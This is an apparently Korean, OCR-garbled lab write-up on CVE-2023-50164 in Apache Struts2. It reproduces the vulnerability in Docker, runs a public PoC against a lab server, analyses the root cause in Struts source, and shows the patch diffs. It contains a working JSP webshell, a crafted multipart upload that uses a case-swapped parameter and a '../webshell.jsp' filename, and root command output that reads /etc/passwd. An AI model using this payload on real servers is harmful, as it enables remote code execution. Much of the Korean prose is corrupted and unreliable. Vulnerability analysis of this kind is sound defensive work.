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Ubuntu 22.04.3
| sf| X} OpenJDK 17.
(192.168.102.160) Tomcat 9.0

Apache struts 6.3.0.1
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maiaF PC ol CVE-2023-50164 FJeFdo] A5k Apache Struts2 719He] 9 Aus ZAgHl
29 URL & 53l Docker &3 oz AT & Qitt

— URL: https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2—Docker.git

$ git clone https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker.git

$ c¢d CVE-2023-50164-ApacheStruts2-Docker

$ docker build --ulimit nofile=122880:122880 -m 3G -t cve-2023-50164 .

$ docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2023-50164 cve-
2023-50164

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<struts2.version>6.3.0.1</struts2.version>
<jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
<maven.javadoc.skip>true</maven. javadoc.skip>
<jackson.version>2.14.1</jackson.version>
<jackson-data-bind.version>2.14.1</jackson-data-bind.version>

</properties>

1% 2. pom.xml

Docker & Adsto] mjsfzat PC 9] 8080 ZEE ‘&l FH ket 27
4 9} o] Thdet mhd ARE Tlso] FAH HoIXE ;Y &+

S docker ps
CONTAINER ID IMAGE COMMAND CREATED

PORTS NAMES
66d0440edc37 cve-2023-50164 "catalina.sh run” 11 minutes ago Up 11 minut
es 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2023-50164

19 3. Docker A3
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=] File upload O

& C O O localhost

Browse... | No file selected.

Submit

I9 4. 0 JRE HolA

pg A HAE wUe gReg Av, nd gRse] 4B uploads HEHA

AZES T (test.jpgle AT 4 Ut

« @] O [ localhost
Browse... | test.jpg

Submit

&« © QO [ localhost

File Upload - Success

File uploaded successfully ©
Go back to Upload Page

I9 5.jpg Y 9RE

root@66dod440edc37: fusrflocalftomcat /webapps /ROOT# cd uploads/

root@ocdod440edc37: fusrflocal/tomcat /webapps/ROOT/uploads# 1s

1% 6. uploads HHHe %3]
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S jsp Q1 TS A HJEET A, O 71 Zo] YR AEoHT o] HEE &
A= HAZ7E S8 EHT &, HAE 742 A2 oA gt jpg ©F png ¢ A-gelw
A2 4 ol S7hEA) 2 SARbE MOl forbidden T olA 1T 4 9L
« c U [ localhost
Browse... |webshell.jsp
Submit
« &) O O localhost

File Upload - Success

Nop ! Only .jpg and .png are authorized ! Go to forbidden folder @
Go back to Upload Page

g 7.jsp T¥ dRE

root@66de440edc37: fusr/local/tomcat /webapps /RO0OT# cd forbidden
root@66de440edc3?: fusr/local/tomcat /webapps /ROOT/forbidden# 1s

webshell. jsp

19 8. forbidden ] 23]
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Step 2. PoC HIZE

542 PC 9] Kali Linux #7414 a2t PC(192.168.102.160)= CVE-2023-50164 ¢l gt PoC
BIAEE ggtty, b9 URL& F9l PoCE the T & St

— URL: https://github.com/jakabakos/CVE-2023-50164—-Apache—Struts—RCE

HolZ £9] PoC & AW Wzt PC o] A=E F PAo] H2sto]
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python exploit.py --url http://[ZISi Xt PC]/upload.action

PoC HIZE Az}, mafizt PC of oigt FEGDet HE dlolEl(fetc/passwd)E Z3|ot= 5 4
y8g Asjo] 7Hgottt.

( )-[~/CVE-2023-50164-Apache-Struts-RCE/exploit |
python exploit.py —-url http://192.168.102.160:8080/upload.action
Starting exploitation..
WAR file already exists.
webshell.war uploaded successfully.
Reach the ISP webshell at http://192.168.102.160:8080/webshell. jsp?cmd=<COMMAND>
Attempting a connection with webshell.
Successfullv connected to the weh shell.
> id

uid=0(root) gid=0(root) groups=0(root)
> cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon 4 1:1:daemon:/usr/sbin: /usr/sbin/nologin
bin:x: :bin:/bin:/usr/sbin/nologin

] svs ,dev fusr,sb1nfnoloq1n

:L%l 9. PoC H2E 2t

&zt PC oAl PoC & B3l Q= ¥ oFdutd (webshelljsp)S &1 4= St
root@s6do440edc3?: fusr/local/tomcat/webapps /ROOT# 1s

total 36

drwxr-x--- root root 4096 Feb © 08:46

drwxr-xr-x 1 root root 4096 Feb & ©8:30

drwxr-x--- root root 4096 Feb o6 ©08:31

root root 219 Feb 11:48 index.html
root root 4096 Feb o ©8:30

drwxr—x——— root root 4096 Feb o ©8:39

drwxr-x--- root root 4096 Feb © ©08:30
root root 548 Feb & 08:46 webshell. jsp

a9 10. 92 A o utd(webshell.jsp)
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Apache Struts2 Ze|UQIE ARESHY] e AfolE 7]EAHOR action’ A FHIE
APE T Action 24w 54 AEXEQIEAN AMEAS] 974S Asted AMgHT CVE-
2023-50164 = 1Y gzt B /upload.action” NEIEQIE oA HAHIITE

ActionSupport & “JE 2 Upload S 2olA st dz=of Bt wfu|ge] 45 T 4
k. @A Docker & 4% HAE 8749 Upload dl2e I8 11 3 o] 4gx]of Ut o]
Sefize] Ao"  wd 2o gt 3 JER] £A4 F(upload,  uploadFileName,
uploadContentType) S £3) 7Y gzt Azs Assict

public class Upload extends ActionSupport {

private File upload; P U2 C 5 mpUo| M MK
private String uploadFileName; —P 12 C 5t njUo| TjAUH
private String uploadContentType; —p-Qi2 C3l njUe| ojUSH

private String imagePath;

19 11. Upload E8A

md = A HITP 873 oA Z2he] metvg gt £4< WA

POST fupload.action HTTP/1.1

Host: 192.168.102Z.160:28080

Content-Length: 184

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.102.160: 8080

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylalLnwW2agdBWP11XS

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.615]
Accept: text/html,application/xhtml+xml, application/xml;g=0.9,1mage/avif,1mage webp,1mage/apng, */*;q=0.8, appl1
Referer: http://192.168.102.160:8080/upload.action

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;g=0.9

Cookle: JSESSIONID=137A48BD64475SASDODOAECBCOOCEF797

Connection: close

rs
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------ WebkitFormBoundarylalnW2agdBWP11XS

Content-Disposition: form-data;| name="upload'|; [fllename "test. ]pgq
|C°”te”t'TYp9: 1mage/]peg upload uploadFileName

uploadContentType

a9 12. 1Y YR A] HTTP 83

CVE-2023-50164+ HTTP 8% & & ste] 1Y 42t AAE yetll= datu| g (upload)E
MzstE, 94 33 A% 9% Wee Ukl 12 md g wolz & gk olF
FHIEE EFF Y oz AMe] YRE B QS oJulsh et e uploadFileName) S
Zohete] Qoo ARE AHE RAY O ol FoRHolTt
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- H2LE nf2to|HE HEXIE AESHE  name="Upload"
4 1

#Hez HE £ 4duy e F7t  [(Emd WE F7h

A2E F mMAdE o|0|jst= ul2t0[E{Q} Content-Disposition: form-data; name="uploadFileName";
Uolo| AEE X mUY F7t oS PR2EY A9o =]

B 1. CVE-2023-50614 =7

o2 E Q] name=“upload”™E WEAZ A|FSt= name="Upload”2
HAsty 474 w8 AL %t 94 ITE Fsith o2 Content—Disposition dlE] <}
name="uploadFileName™& F7}sto] AHjo] 2= H mdE Yee dem|gE A4 9lsto]
dolo] FrE ET mhdgow Hx

o

T

16 ------ WebK1itFormBoundarylaLnwW2agdBwP11XS

17 Content-Disposition: form- data;i name="upload" ;l filename="test.jpg"
18 Content-Type: image/jpeg
19

------ WebK1tFormBoundarylalLnw2agdBwWwP11XS- -

I'U NN
N = O

a9 13.HTTP £ WA A
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! Content-Type: 1mage/jpeg

------ webK1tFormBoundarylalnw2agdewP11XsS
i Ifilename:'test.jpg“

Content-Disposition: form-data;|name="Upload";

ntetoje ¥4

<%@ page 1mport="java.10.%*" %
<%

(upload = Upload)

String cmd = request.getParameter("cmd");

String output = *";

if (emd !'= null) {
string s = null;
try {

Process p = Runtime.getRuntime().exec{cmd, null, null);

BufferedReader sI = new BufferedReader(new InputStreamReader(p.

while ((s = sI.readLine()) != null) {
output += s + *\n";

r&
ox
o}

getInputStream()));

}
} catch (I0Exception e) {
e.printStackTracel();
1
}
5o !’! ic
<fs=output %>
------ webK1 tFormBoundarylalnwW2agdBwP11XS
Content-Disposition: form-data; name="uploadFileName";
3 ? a8z 27}

.. /webshell. jsp

11IAS--

J9 14. HTTP 84 WA ¥
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HTTP &3 A% A7, dev|e #1748 S 948 32t 491" o (test.jpg)lol AHel] fJaE

Het o] 843 e Foll AHel 925 " mpdol o]Fo] ‘test.jpg oA ../webshelljsp’ =
HAA S o= Qe FAA= 19 14 ¢F Zo] ROOT HHHo| Y2E= H webshelljsp 7ol
A &+ Adrk

3 | [& localhost:8080/webshell x = +
6

C O O localhost

uid=0(root) gid=0(root) groups=0(root)

a9 15 9a& 3 94 39 43

root@a®34a3al7e6d: /usr/local/tomcat/webapps/RO0OT# 1ls -al
total 36

drwxr-x--- 6 root root 4096 Feb
drwxr-xr-x 1 root root 4096 Feb

13:30

12:48

13:27

11:48 1index.html
11:54

13:27

11:54

13:28 webshell. jsp

a9 16. d g=E dx

drwxr-x--- 2 root root 4096 Feb
-rW-F----- 1 root root 219 Feb
drwxr-x--- 3 root root 4096 Feb
drwxr-x--- 2 root root 4096 Feb
drwxr-x--- 4 root root 4096 Feb
-[W-T----- 1 root root 363 Feb

B A S LN T S S
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Step 2. FoFd &4

CVE-2023-50164 FoFdo] &EA|Sl= Apache Struts2 oA =} JREE 53t 54 HAS
stepl~4 = o] A2 ZIggi)

step ) I+ d2E 97 - HetpParameters.java
e d2t g9Fo] Eoje™ HTTP 9% mehveE A #sH= HitpParameters ZEA9] get(),
remove(), contains() A EE o Qm ot At metn|g o gk HwE asttt

public HttpParameters appendAll(Map<String, Parameter> newParams) {
parameters.putAll(newParams);
return this;

1% 17. HttpParameters

oluff FoFet WOl Apache Struts2 ] HttpParameters A=
B3ttt &, mEtoEl7F name=‘upload’®t name=Upload’ ¥ A+ HARAE FESH7] W&ol
Z}2} upload ¢} Upload 2= mhetu|e7} A/ Eoh,

e

step 2) WY A== mhEulE Ao - ol g Hx
FoFst WM 9] Apache Struts2 ©] HttpParameters & ARAE FEsto] HAZ HFs] 7159
tetalglof] gt A L]7t 7Hedtet. Parametersinterceptor Z2f29] setParameters() T A = o) A]
Y5 setParameters) WA E+E TreeMap 722 Y J2EE A2t Java 9] TreeMap 2
(=2 ) dupdl iz 2 ) dupdl 2722 ) =] &A= FEeth
protected void setParameters(final Object action, ValueStack stack, HttpParameters parameters) {

HttpParameters params;

Map<String, Parameter> acceptableParameters;
if (ordered) {

params = HttpParameters.create().withComparator(getOrderedComparator()).withParent({parameters).build();
acceptableParameters = new TreeMap<>{getOrderedComparator());
} else {

params = HttpParameters.create().withParent(parameters).build();
acceptableParameters = new TreeMap<>();

1% 18. setParameters() WA=

upebA  mhepale] FEe®  ‘upload’?t  ‘Upload7t &g, WHEARE  AFste Upload

atetnlg o] = YES pAeR FHEIH ot 5A& o8st FAAE EvE e

Upload = ®xs5t @A AHES 4hgiste] dgotd 7]E9] ntrd 82 dole & Ao
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step 3) 1} YEZE - FileUploadinterceptor.java
struts—default.xml 2 Apache Struts2 oA 7]EZHoz A|Fal=
default.xml o] A AF-g2Fe] @3-S A YP5k= Interceptor & A 2] etet,

a7

mdolth  struts—

<interceptor name="118n" class="org.apache.struts2.interceptor.I18nInterceptor"/>

<interceptor name="logger" class="com.opensymphony.xwork2.interceptor.lLogginglnterceptor"/>
<interceptor name="modelDriven" class="com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor”/>

<interceptor name="debugging" class="org.apache.struts2.interceptor.debugging.Debugginglnterceptor"/>
<interceptor name="execAndWait" class="org.apache.struts2.interceptor.ExecuteAndWaitInterceptor™/>

<interceptor name="exception" class="com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor"/>
[<intEFceptor name="fileUpload” class:"org.apache.struts2.interceptor.FileUploadInterceptcr"/>]

19 19. struts—default.xml

AEARRE Tl dEE g% o] 0], FileUploadinterceptor &A= multiWrapper & 59
inputName Zf2 7|¥ro=z mtel AA|(File), mtd(FileName), A¥= EF(FileContentType) Tt

e 371 4 8 A 31 QRE ARE Asn Y2E B s

= AHol At

// bind allowed Files

Enumeration fileParameterMames = multiWrapper.getFileParameterNames();

while (fileParameterMames != null && fileParameterMNames.hasMoreElements()) {
// get the value of this input tag
String inputName = (String) fileParameterhames.nextElement();

// get the content type
[String[] contentType = multiwrapper.get(ontentTypes(inputName);I

if (isNonEmpty(contentType)) {
// get the name of the file from the input tag
[String[] fileMame = multiWrapper.getFileNames(inputlame); ]

if (isNonEmpty(fileName)) {
// get a File object for the uploaded File
[ UploadedFile[] files = multiNrapper.getFiles(inputName);]

if (files != null && files.length > @) {
List<UploadedFile> acceptedFiles = new Arraylist<>(files.length);
List<String> acceptedContentTypes = new Arraylist<>(files.length);
List<String> acceptedFilelames = new Arraylist<>(files.length);
String contentTypeMame = inputMame + "ContentType";
String fileNameName = inputName + "FileName";

a9 20. A== d stdof it AHE A%

oluff Awof AAFH mtdo] ARl test.jpg = setUploadFileName() HAE=

°f

N
el

i

C

public String[] getUploadFilelame()
return this.uploadFileNames;

public void setUploadFilelame(String[] uploadFileName)
this.uploadFileMames = uploadFilelName;

1% 21. setUploadFileName()
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step 4) WY J=C opefule QAP - mddE Wx

Ao =t H ofAdmde] HIst] fs AHel dRE H o] wdEe
g E A olste] AL AAGe A= gAlo] JHEet mdior Yol AH] d=
H ahdo) w2 setUploadFileNameO< & A==, @A uploadFileName ©fli= mtd™go]
test.jpg Q! o] HHH AHitt. FA4A= o] wEmHE A olste] FAATE AAHTE Aol

Z2E 2ge HYYoR WA > ek

udt
st

oﬂ

ek "HAEOAE= /webshelljsp’e] FEiZ mAF-S AAS QS AETTE wEbA AH 9
uploadFileName whejn]e|7} A olxof, 7]E] APl test.jpg 7t ../webshelljsp = W F
olF, FAAT}L AT AR AZE H webshelljsp o] A2 g2 5o AT & Ut

o,

a2 9 & Edi=Z HITP 8% @te Hxs] I d=t satr|EzE 49 =He e
UreRdH "otk
a}2}0| e H =upload 1i}2}0] E{ H=Upload it2}0] E{ E=uploadFileName
Ot H=test.jpg oAU H=test.jpg oY H = /webshell.jsp
O HZC Ha0jE WIS Sof AMICE Tad DYE FHojR
I |
HREEHS 2 F&Ests ot Y2 L nl2to|E(uploadFileName) X7 2|
19 22. CVE-2023-5016 4
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Step 3. F°FH FX]

2023 129 4 ¢, Apache &= CVE-2023-50164 of oigh sfx]= #HZ<Ql Apache Struts2 6.3.0.2 &
AT, 2] Y2 offjo] AHrofA &l 4 o, ZZte] 4 A2 thait 2T

— core/src/main/java/org/apache/struts2/dispatcher/HttpParameters.java

HTTP 84 m=tulg A7 Ao taeas F#25HA @1, $493 d=uert e 3¢

AABHE remove() MM EZE F7HEo] mEtulEE Hoj2Ae Zo] £7sSESR WA] E .

76 86 public HttpParameters appendAll(Map<String, Parameter> newParams) {
87 + remove (newParams. keySet());

77 88 parameters.putAll (newParams);

78 89 return this;

79 98 1

1% 23. HttpParameters %] WY

dr

F7tote] AR AE FEotA $EE mA] HOh &, name=‘eqst’?} name="Eqst’E YT

11e 137 @override
111 138 public Parameter get(Object key) {
112 = if (parameters.containsKey(key)) {
113 - return parameters.get(key);
114 = } else {
115 - return new Parameter.Empty(String.valueOf(key));
139 4 if (key != null && contains(String.valueOf(key))) {
140 + String keyString = String.valueOf(key).tolLowerCase();
141+ for (Map.Entry<String, Parameter> entry : parameters.entrySet()) {
142+ if (entry.getKey() != null && entry.getKey().equalsIgnoreCase(keyString)) {
iy return entry.getValue();
144+ }
145+ }
116 146 }
147  + return new Parameter.Empty(String.valueOf(key));
117 148 }

a7 24. get() 2] Y
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63 73 public boolean contains(String name) {
64 = return parameters.containsKey(name);
74 + boolean found = false;
755 .+ String nameLowerCase = name.tolLowerCase();
76 +
770 + for (String key : parameters.keySet()) {
78  + if (key.equalsIgnoreCase(nameLowerCase)) {
79 + found = true;
80 + break;
81 + }
82 | + }
83 +
84 4 return found;
65 85 }
1% 25. contains() ] WY
50 52 public HttpParameters remove(Set<String> paramsToRemove) {
51 53 for (String paramName : paramsToRemove) {
52 = parameters.remove(paramName) ;
54  + String paramNameLowerCase = paramName.tolowerCase();
55 4+ Iterator<Entry<String, Parameter>> iterator = parameters.entrySet().iterator();
56 +
57 o+ while (iterator.hasNext()) {
58 + Map.Entry<String, Parameter> entry = iterator.next();
59 + if (entry.getKey().equalsIgnoreCase(paramNameLowerCase)) {
60 + iterator.remove();
61 + }
62 + }
53 63 }
54 64 return this;
55 65 }

19 26. remove() X U
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« URL: https://nvd.nist.gov/vuln/detail/ CVE-2023-50164

« URL: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurity Advisory/cisco—sa—struts—
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